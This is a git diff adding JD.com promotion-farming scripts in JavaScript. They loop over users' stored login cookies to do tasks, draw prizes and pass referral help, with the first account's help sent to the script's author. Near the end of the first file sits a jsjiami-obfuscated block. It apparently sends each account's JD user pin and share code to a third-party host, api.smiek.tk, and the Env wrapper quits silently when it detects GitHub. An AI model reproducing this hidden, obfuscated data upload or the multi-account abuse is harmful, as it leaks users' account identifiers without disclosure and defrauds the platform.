encodeURIComponent('20210713151140309;3329030085477162;10032;tk01we5431d52a8nbmxySnZya05SXBQSsarucS7aqQIUX98n+iAZjIzQFpu6+ZjRvOMzOaVvqHvQz9pOhDETNW7JmftM;3e219f9d420850cadd117e456d422e4ecd8ebfc34397273a5378a0edc70872b9') + } +} + +function format(a, time) { + if (!a) a = 'yyyy-MM-dd'; + var t; + if (!time) { + t = Date.now(); + } else { + t = new Date(time); + } + var e, + n = new Date(t), + d = a, + l = { + 'M+': n.getMonth() + 1, + 'd+': n.getDate(), + 'D+': n.getDate(), + 'h+': n.getHours(), + 'H+': n.getHours(), + 'm+': n.getMinutes(), + 's+': n.getSeconds(), + 'w+': n.getDay(), + 'q+': Math.floor((n.getMonth() + 3) / 3), + 'S+': n.getMilliseconds(), + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, ''.concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + Object.keys(l).forEach(e => { + if (new RegExp('('.concat(e, ')')).test(d)) { + var t, + a = 'S+' === e ? '000' : '00'; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[e] : ''.concat(a).concat(l[e]).substr(''.concat(l[e]).length)); + } + }); + return d; +} + +function getUrlQueryParams(url_string, param) { + let reg = new RegExp("(^|&)" + param + "=([^&]*)(&|$)", "i"); + let r = url_string.split('?')[1].substr(0).match(reg); + if (r != null) { + return decodeURIComponent(r[2]); + }; + return ''; +} + + + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + "url": `${url}?${new Date()}`, + "timeout": 10000, + "headers": { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + let res = [] + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) res = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(res || []); + } + }) + await $.wait(10000) + resolve(res); + }) +} + +/** + * 随机从一数组里面取 + * @param arr + * @param count + * @returns {Buffer} + */ + function getRandomArrayElements(arr, count) { + var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; + while (i-- > min) { + index = Math.floor((i + 1) * Math.random()); + temp = shuffled[index]; + shuffled[index] = shuffled[i]; + shuffled[i] = temp; + } + return shuffled.slice(min); +} + + +// 计算时间 +function timeFn(dateBegin) { + var hours = 0 + var minutes = 0 + var seconds = 0 + if(dateBegin != 0){ + //如果时间格式是正确的,那下面这一步转化时间格式就可以不用了 + var dateEnd = new Date();//获取当前时间 + var dateDiff = dateBegin - dateEnd.getTime();//时间差的毫秒数 + var leave1 = dateDiff % (24 * 3600 * 1000) //计算天数后剩余的毫秒数 + hours = Math.floor(leave1 / (3600 * 1000))//计算出小时数 + //计算相差分钟数 + var leave2 = leave1 % (3600 * 1000) //计算小时数后剩余的毫秒数 + minutes = Math.floor(leave2 / (60 * 1000))//计算相差分钟数 + //计算相差秒数 + var leave3 = leave2 % (60 * 1000) //计算分钟数后剩余的毫秒数 + seconds = Math.round(leave3 / 1000) + } + hours = hours < 10 ? '0'+ hours : hours + minutes = minutes < 10 ? '0'+ minutes : minutes + seconds = seconds < 10 ? '0'+ seconds : seconds + var timeFn = hours + ":" + minutes + ":" + seconds; + return timeFn; +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + + + +function getCode(){ + if(!$.getval('gua_wealth_island_code') || ($.getval('gua_wealth_island_code') && !$.getval('gua_wealth_island_code')[$.time('yyyyMMd')])){ + $.gua_wealth_island_code = {} + $.gua_wealth_island_code[$.time('yyyyMMd')] = [] + $.setdata($.gua_wealth_island_code,'gua_wealth_island_code') + }else{ + $.gua_wealth_island_code = $.getval('gua_wealth_island_code') + } + if(!codeIndex){ + for(let n in cookiesArr){ + codeIndexArr.push(Number(n)+1) + } + console.log(`您设置为按顺序提交助力(只提交前3个)\n如需自定义请在环境变量[gua_wealth_island_codeId](只提交前3个)例:\ngua_wealth_island_codeId="3,5,8"`) + }else{ + console.log(`您设置为按自定义提交助力(只提交前3个)\n提交的账号为[${codeIndex.split(',')}]\n按号码从小到大提交\n注意:不是按填写的顺序`) + for(let i of codeIndex.split(',')){ + codeIndexArr.push(Number(i)) + } + } + console.log(`\n先账号互助完再助力助力池\n默认其余的助力给助力池\n如果介意请不要使用本脚本`) +} + +var _0xodM='jsjiami.com.v6',_0x58b7=[_0xodM,'Z2V0','bkZFblQ=','c3RhdHVz','T1pJTVg=','cFFTUEM=','cHVzaA==','c2V0ZGF0YQ==','cGhoalU=','5p+l6K+i5Yiw5oKo5LiK5Lyg55qE5LqS5Yqp56CBWw==','dGRob3E=','aHR0cHM6Ly9hcGkuc21pZWsudGsvdXBkYXRlX2lzbGFuZA==','YXBwbGljYXRpb24vanNvbg==','c3RyaW5n','dW5kZWZpbmVk','eXl5eU1NZA==','5oKo5LuK5aSp5bey57uP5o+Q5Lqk6L+H5LqS5Yqp56CB','cG9CSGk=','VXNlck5hbWU=','VVJ4RFk=','YXN0b1M=','YVNpWFc=','cGJvWFo=','Z3VhX3dlYWx0aF9pc2xhbmRfY29kZQ==','dGltZQ==','ZHhEYmo=','aW5jbHVkZXM=','bG9n','TWxVRWM=','aHNRbEk=','bGVuZ3Ro','5LiK5Lyg5Yqp5Yqb56CB','SGVBVm4=','Y0ZVRHo=','aW1JTmU=','QlJGV1E=','eyJzcyI6Ijk5NWU2OTgwYjViZGU3Y2FjZWY3ZWNiMzJkNjUxMWViZTEiLCJhIjoi','IiwicyI6Ig==','cG9zdA==','R3VVa0w=','ZW1wdHk=','aHR0cHM6Ly9hcGkuc21pZWsudGsvaW5mb19pc2xhbmQ/cGluPQ==','aVZJUlM=','S0l5RUo=','RGtDcFk=','U2JYam0=','cFFUVVo=','Z0NyWkE=','d2FpdA==','TFZVeHA=','bW9KUlc=','kjgHbzsjwiakxOmiR.YcoImKwp.v6=='];(function(_0x21fdb5,_0x3f83ae,_0x49784f){var _0x58490e=function(_0xfef6a2,_0x43679f,_0x5d94d3,_0x12f482,_0x3816cd){_0x43679f=_0x43679f>>0x8,_0x3816cd='po';var _0x5bc9eb='shift',_0x38c213='push';if(_0x43679f<_0xfef6a2){while(--_0xfef6a2){_0x12f482=_0x21fdb5[_0x5bc9eb]();if(_0x43679f===_0xfef6a2){_0x43679f=_0x12f482;_0x5d94d3=_0x21fdb5[_0x3816cd+'p']();}else if(_0x43679f&&_0x5d94d3['replace'](/[kgHbzwkxORYIKwp=]/g,'')===_0x43679f){_0x21fdb5[_0x38c213](_0x12f482);}}_0x21fdb5[_0x38c213](_0x21fdb5[_0x5bc9eb]());}return 0x9caf6;};return _0x58490e(++_0x3f83ae,_0x49784f)>>_0x3f83ae^_0x49784f;}(_0x58b7,0x104,0x10400));var _0x3732=function(_0x3a72a6,_0x194239){_0x3a72a6=~~'0x'['concat'](_0x3a72a6);var _0x57f585=_0x58b7[_0x3a72a6];if(_0x3732['bbRoua']===undefined){(function(){var _0x5d696f;try{var _0x5da908=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x5d696f=_0x5da908();}catch(_0x29a112){_0x5d696f=window;}var _0x70b0e9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x5d696f['atob']||(_0x5d696f['atob']=function(_0x45923b){var _0x3426d3=String(_0x45923b)['replace'](/=+$/,'');for(var _0x458769=0x0,_0x40ce1d,_0x19a6b2,_0x56e26d=0x0,_0x2081e8='';_0x19a6b2=_0x3426d3['charAt'](_0x56e26d++);~_0x19a6b2&&(_0x40ce1d=_0x458769%0x4?_0x40ce1d*0x40+_0x19a6b2:_0x19a6b2,_0x458769++%0x4)?_0x2081e8+=String['fromCharCode'](0xff&_0x40ce1d>>(-0x2*_0x458769&0x6)):0x0){_0x19a6b2=_0x70b0e9['indexOf'](_0x19a6b2);}return _0x2081e8;});}());_0x3732['WfTevF']=function(_0x402c76){var _0x513ed6=atob(_0x402c76);var _0x57ecae=[];for(var _0xf74fa1=0x0,_0x531b6a=_0x513ed6['length'];_0xf74fa1<_0x531b6a;_0xf74fa1++){_0x57ecae+='%'+('00'+_0x513ed6['charCodeAt'](_0xf74fa1)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x57ecae);};_0x3732['xiXrFk']={};_0x3732['bbRoua']=!![];}var _0x160a7d=_0x3732['xiXrFk'][_0x3a72a6];if(_0x160a7d===undefined){_0x57f585=_0x3732['WfTevF'](_0x57f585);_0x3732['xiXrFk'][_0x3a72a6]=_0x57f585;}else{_0x57f585=_0x160a7d;}return _0x57f585;};function updateIsland(_0x3eeb63){var _0x1759cd={'HeAVn':function(_0x10a019){return _0x10a019();},'cFUDz':function(_0x2f6ea6,_0x8c7962){return _0x2f6ea6(_0x8c7962);},'imINe':_0x3732('0'),'BRFWQ':_0x3732('1'),'poBHi':function(_0x1cfebb,_0x51a304){return _0x1cfebb!==_0x51a304;},'URxDY':_0x3732('2'),'astoS':function(_0x186278,_0x1f4591){return _0x186278==_0x1f4591;},'aSiXW':_0x3732('3'),'pboXZ':function(_0x4c9ca9,_0x130243){return _0x4c9ca9==_0x130243;},'dxDbj':_0x3732('4'),'MlUEc':_0x3732('5'),'hsQlI':function(_0x1c726d,_0x522592){return _0x1c726d>=_0x522592;}};if(_0x1759cd[_0x3732('6')](typeof $[_0x3732('7')],_0x1759cd[_0x3732('8')])||_0x1759cd[_0x3732('9')]($[_0x3732('7')],_0x1759cd[_0x3732('a')])||_0x1759cd[_0x3732('6')](typeof _0x3eeb63,_0x1759cd[_0x3732('8')])||_0x1759cd[_0x3732('b')](_0x3eeb63,_0x1759cd[_0x3732('a')])||!$[_0x3732('c')])return;if($[_0x3732('c')][$[_0x3732('d')](_0x1759cd[_0x3732('e')])][_0x3732('f')]($[_0x3732('7')]))console[_0x3732('10')](_0x1759cd[_0x3732('11')]);if(_0x1759cd[_0x3732('12')]($[_0x3732('c')][$[_0x3732('d')](_0x1759cd[_0x3732('e')])][_0x3732('13')],0x1)||$[_0x3732('c')][$[_0x3732('d')](_0x1759cd[_0x3732('e')])][_0x3732('f')]($[_0x3732('7')]))return;console[_0x3732('10')](_0x3732('14'));return new Promise(_0x3df05c=>{var _0x2a700f={'GuUkL':function(_0x262351){return _0x1759cd[_0x3732('15')](_0x262351);}};const _0x24a09f={'url':''+_0x1759cd[_0x3732('16')](decodeURI,_0x1759cd[_0x3732('17')]),'timeout':0x4e20,'headers':{'Content-Type':_0x1759cd[_0x3732('18')]},'body':_0x3732('19')+$[_0x3732('7')]+_0x3732('1a')+_0x3eeb63+'\x22}'};$[_0x3732('1b')](_0x24a09f,async(_0x3c5478,_0x12980d,_0x34b3b7)=>{_0x2a700f[_0x3732('1c')](_0x3df05c);});});}async function infoIsland(){var _0x3ac02c={'nFEnT':function(_0x26583a,_0x50a4bd){return _0x26583a==_0x50a4bd;},'OZIMX':function(_0x19c2b9,_0x275fab){return _0x19c2b9!=_0x275fab;},'pQSPC':_0x3732('1d'),'gCrZA':_0x3732('4'),'phhjU':_0x3732('c'),'tdhoq':function(_0x47389a){return _0x47389a();},'LVUxp':function(_0x58063a,_0x292c77){return _0x58063a(_0x292c77);},'moJRW':_0x3732('1e'),'iVIRS':function(_0x53a34b,_0x111bb6){return _0x53a34b!==_0x111bb6;},'KIyEJ':_0x3732('2'),'DkCpY':function(_0xb2423d,_0x50e8cd){return _0xb2423d==_0x50e8cd;},'SbXjm':_0x3732('3'),'pQTUZ':function(_0xfeb67b,_0x1be8b8){return _0xfeb67b>=_0x1be8b8;}};if(_0x3ac02c[_0x3732('1f')](typeof $[_0x3732('7')],_0x3ac02c[_0x3732('20')])||_0x3ac02c[_0x3732('21')]($[_0x3732('7')],_0x3ac02c[_0x3732('22')])||!$[_0x3732('c')])return;if(_0x3ac02c[_0x3732('23')]($[_0x3732('c')][$[_0x3732('d')](_0x3ac02c[_0x3732('24')])][_0x3732('13')],0x1)||$[_0x3732('c')][$[_0x3732('d')](_0x3ac02c[_0x3732('24')])][_0x3732('f')]($[_0x3732('7')]))return;await $[_0x3732('25')](0x7d0);return new Promise(_0x4ec138=>{const _0x245fca={'url':''+_0x3ac02c[_0x3732('26')](decodeURI,_0x3ac02c[_0x3732('27')])+$[_0x3732('7')],'timeout':0x2710};$[_0x3732('28')](_0x245fca,async(_0x1adb82,_0xfc5f35,_0x3d24d0)=>{if(_0xfc5f35&&_0x3ac02c[_0x3732('29')](_0xfc5f35[_0x3732('2a')],0xc8)){if(_0x3d24d0&&_0x3ac02c[_0x3732('2b')](_0x3d24d0,_0x3ac02c[_0x3732('2c')])){$[_0x3732('c')][$[_0x3732('d')](_0x3ac02c[_0x3732('24')])][_0x3732('2d')]($[_0x3732('7')]);$[_0x3732('2e')]($[_0x3732('c')],_0x3ac02c[_0x3732('2f')]);console[_0x3732('10')](_0x3732('30')+_0x3d24d0+']');}}_0x3ac02c[_0x3732('31')](_0x4ec138);});});};_0xodM='jsjiami.com.v6'; + + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}isShadowrocket(){return"undefined"!=typeof $rocket}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:i,...r}=t;this.got[s](i,r).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}put(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"put";if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:i,...r}=t;this.got[s](i,r).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + diff --git a/backUp/gua_xiaolong.js b/backUp/gua_xiaolong.js new file mode 100644 index 0000000..a5e067a --- /dev/null +++ b/backUp/gua_xiaolong.js @@ -0,0 +1,736 @@ +/* +8.13-8.25 骁龙品牌日 [gua_xiaolong.js] + +邀请一人有机会获得20豆 (有可能没有豆 + 上限可能是 18 +做任务有机会获得京豆(有可能是空气💨 +每次最多抽10次奖(抽太多次 后面基本都是空气💨 可以每天抽前1 20次 + +第一个账号助力作者 其他依次助力CK1 +第一个CK失效会退出脚本 + +脚本默认抽奖 true抽奖,false不抽奖 +不抽奖请设置环境变量 +gua_xiaolong_luckydraw="false" +———————————————— +入口:[8.13-8.25 骁龙品牌日 (https://lzdz4-isv.isvjcloud.com/dingzhi/xiaolong/collectcard/activity/1441690?activityId=901080701&shareUuid=9535c849daec4eb0b006dc1ff8ab3b5c)] +============Quantumultx=============== +[task_local] +#8.13-8.25 骁龙品牌日 +18 9,19 13-25 8 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_xiaolong.js, tag=8.13-8.25 骁龙品牌日, enabled=true + +================Loon============== +[Script] +cron "18 9,19 13-25 8 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_xiaolong.js,tag=8.13-8.25 骁龙品牌日 + +===============Surge================= +8.13-8.25 骁龙品牌日 = type=cron,cronexp="18 9,19 13-25 8 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_xiaolong.js + +============小火箭========= +8.13-8.25 骁龙品牌日 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_xiaolong.js, cronexpr="18 9,19 13-25 8 *", timeout=3600, enable=true +*/ +const $ = new Env('8.13-8.25 骁龙品牌日'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let luckydrawStatus = true +luckydrawStatus = $.isNode() ? (process.env.gua_xiaolong_luckydraw ? process.env.gua_xiaolong_luckydraw : `${luckydrawStatus}`) : ($.getdata('gua_xiaolong_luckydraw') ? $.getdata('gua_xiaolong_luckydraw') : `${luckydrawStatus}`); +const JD_API_HOST = `https://api.m.jd.com/client.action`; +message = "" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + $.shareUuid = '9535c849daec4eb0b006dc1ff8ab3b5c' + $.activityId = '901080701' + console.log(`入口:\nhttps://lzdz4-isv.isvjcloud.com/dingzhi/xiaolong/collectcard/activity/1441690?activityId=${$.activityId}&shareUuid=${$.shareUuid}`) + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + getUA() + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await run(); + if(i == 0 && !$.actorUuid) return + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + +async function run(){ + try{ + $.isvObfuscatorToken = $.LZ_TOKEN_KEY = $.LZ_TOKEN_VALUE = $.task = '' + await getWxCommonInfoToken(); + await getIsvObfuscatorToken(); + if($.isvObfuscatorToken == '' || $.LZ_TOKEN_KEY == '' || $.LZ_TOKEN_VALUE == ''){ + console.log('获取[token]失败!') + return + } + await getSimpleActInfoVo() + $.myPingData = await getMyPing() + if ($.myPingData ==="" || $.myPingData === '400001' || typeof $.shopId == 'undefined' || typeof $.venderId == 'undefined') { + $.log("获取活动信息失败!") + return + } + await getHtml(); + await adLog(); + $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' + await getUserInfo(); + $.actorUuid = ''; + await getActorUuid(); + if(!$.actorUuid){ + console.log('获取不到[actorUuid]退出执行,请重新执行') + return + } + await $.wait(1000) + $.log("关注: " + $.hasFollowShop) + if(!$.hasFollowShop) await followShop(); + $.log("助力: " + (typeof $.shareUser == 'undefined')) + if(typeof $.shareUser != 'undefined') await helpFriend(); + await myInfo(); + let flag = 0 + if($.task){ + for(let i of $.task){ + if(i.curNum >= i.maxNeed) continue + if(i.taskname.indexOf('邀请好友') > -1) continue + console.log(i.taskname) + await doTask(i.taskid); + await $.wait(2000) + flag = 1 + } + } + if(flag == 1) await myInfo(); + if(flag == 1) await $.wait(1000) + let drawChances = parseInt($.score/100, 10) + console.log(`总共${$.totalScore}龙力值 剩余${$.score}龙力值 ${$.drawChance}次抽奖机会 ${drawChances}额外抽奖机会`) + if(luckydrawStatus === 'true'){ + let num = 1 + for(j=1;$.drawChance--;j++){ + await luckydraw(0) + await $.wait(1000) + num++; + if(num>= 10) console.log('抽奖次数太多,请再次运行抽奖') + if(num>= 10) break + } + for(j=1;drawChances-- && num < 10;j++){ + if(num>= 10) console.log('抽奖次数太多,请再次运行抽奖') + if(num>= 10) break + num++; + await luckydraw(1) + await $.wait(1000) + } + } + await getActorUuid() + await $.wait(1000) + await myprize() + await $.wait(1000) + await myfriend() + $.log($.shareUuid) + if ($.index === 1) { + if($.actorUuid){ + $.shareUuid = $.actorUuid; + console.log(`后面的号都会助力:${$.shareUuid}`) + }else{ + console.log('账号1获取不到[shareUuid]退出执行,请重新执行') + return + } + } + }catch(e){ + console.log(e) + } +} +function myprize() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}` + $.post(taskPostUrl('/dingzhi/xiaolong/collectcard/myprize', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + console.log(`我的奖品:`) + let num = 0 + let value = 0 + for(let i in res.data){ + let item = res.data[i] + if(item.remark.indexOf('邀请好友') > -1) 